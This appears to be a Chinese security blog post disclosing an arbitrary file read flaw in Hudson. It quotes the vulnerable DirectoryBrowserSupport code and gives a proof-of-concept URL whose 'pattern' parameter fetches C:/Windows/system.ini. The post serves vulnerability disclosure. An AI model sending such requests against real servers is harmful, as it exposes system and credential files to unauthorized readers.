DirectoryBrowserSupport.class中可以看到,

String pattern = req.getParameter("pattern");
    if (pattern == null) {
      pattern = req.getParameter("path");
    }
    if (pattern != null) {
      rsp.sendRedirect2(pattern);
      return;
    }
    String path = getPath(req);
    if (path.replace('\\', '/').indexOf("/../") != -1)
    {
      rsp.sendError(400);
      return;
    }

程序只对/../开头的参数pattern进行过滤,所以测试一下http://127.0.0.1:8080/job/msearch-trunk/lastSuccessfulBuild/artifact/?pattern=C:/Windows/system.ini 即可任意文件下载。(只测试了windows环境)
如图:
Hudson最新版本任意文件读取漏洞 – 网站安全 – 自学php网插图

    上一篇: 微众购一处存储型xss#涉及主站 - 网站安全 - 自学php网

    下一篇: ThinkSNS 防御绕过思路(union select 真正的无限制sql注射) - 网站安全 - 自学php网
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《Hudson最新版本任意文件读取漏洞 – 网站安全 – 自学php网
   

还没有人抢沙发呢~